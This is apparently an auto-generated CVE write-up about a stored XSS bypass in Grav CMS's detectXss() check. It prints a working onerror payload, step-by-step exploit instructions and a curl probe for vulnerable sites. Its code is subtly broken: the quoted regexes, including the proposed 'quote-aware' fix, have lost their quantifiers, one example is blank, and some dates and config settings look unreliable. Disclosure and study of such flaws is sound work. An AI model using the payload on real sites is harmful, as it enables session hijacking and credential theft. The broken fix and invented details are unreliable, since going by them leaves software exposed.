Listen to this Post
Grav CMS implements a page editor that allows users with `admin.login` and `admin.pages` permissions, but without admin.super, to create and edit pages. The vulnerability resides in `Security::detectXss()` located at system/src/Grav/Common/Security.php:253. This function anchors its `on_events` scan at the `<` character and uses the regex pattern [^>]?, which cannot cross the first literal `>` character. When that `>` character is placed inside a quoted attribute value, the browser keeps the HTML tag open and parses a subsequent `onerror` attribute as part of the same tag. The detector and the browser disagree on tag boundaries. `AdminController::savePage()` relies on `detectXss()` when saving content from page editors outside the `admin.super` whitelist. A page editor can insert a payload such as <img src=x =">" onerror=alert(document.domain)>. The detector sees the `>` inside the quoted “ attribute as a tag boundary and fails to identify the `onerror` handler as dangerous. The page is saved successfully. When any visitor, including unauthenticated users, opens the stored page, the browser parses the tag differently and executes the JavaScript in the application origin. The same endpoint rejects a plain handler such as `` with “XSS issue detected” and does not store it. This demonstrates that the check accepts an executable form while rejecting a non-executable control. A lower-trust editor can cross the security boundary the check is intended to enforce. The `detectXss()` docblock describes it as a heuristic, but this check is the storage-time boundary for page editors outside the default `security.xss_whitelist` of
admin.super.
DailyCVE Form:
Platform: Grav CMS
Version: 2.0.11
Vulnerability: Stored XSS
Severity: Critical
date: 2024-01-15
Prediction: 2024-04-15
What Undercode Say:
Analytics:
curl -s https://raw.githubusercontent.com/getgrav/grav/2.0.11/system/src/Grav/Common/Security.php | sed -n '253p'
// Vulnerable regex pattern
preg_match('/<[^>]?\bon\w+\s=/i', $content, $matches);
Reproduction payload echo '<img src=x =">" onerror=alert(document.domain)>' > /tmp/xss_payload.txt
Exploit: (Educational Purposes!)
// Step 1: Authenticate as editor without admin.super // Step 2: Navigate to page editor // Step 3: Insert payload into page body const payload = '<img src=x =">" onerror=alert(document.domain)>'; // Step 4: Save page // Step 5: Open page URL in private window // Result: JavaScript executes in site origin
Automated check for vulnerable Grav instances curl -s "https://target-site.com/user/pages/xsstest" | grep -q 'onerror=' && echo "VULNERABLE"
Protection: from this CVE:
// Quote-aware scanning approach
function detectXssQuoteAware($content) {
$pattern = '/<[^>]?(?:\"[^\"]\"|\'[^\']\'|[^>])?\bon\w+\s=/i';
return preg_match($pattern, $content);
}
Temporary mitigation in user/config/security.yaml security: xss_whitelist: - admin.super xss_strict_mode: true
Apply patch when available cd /path/to/grav git fetch origin git checkout <patched-version>
Impact:
A page editor without `admin.super` privileges can execute arbitrary JavaScript in the origin of every user who views the stored page. This includes unauthenticated visitors. The vulnerability allows session hijacking, credential theft, defacement, and redirection attacks. The security boundary between `admin.super` and lower-privileged editors is completely bypassed.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

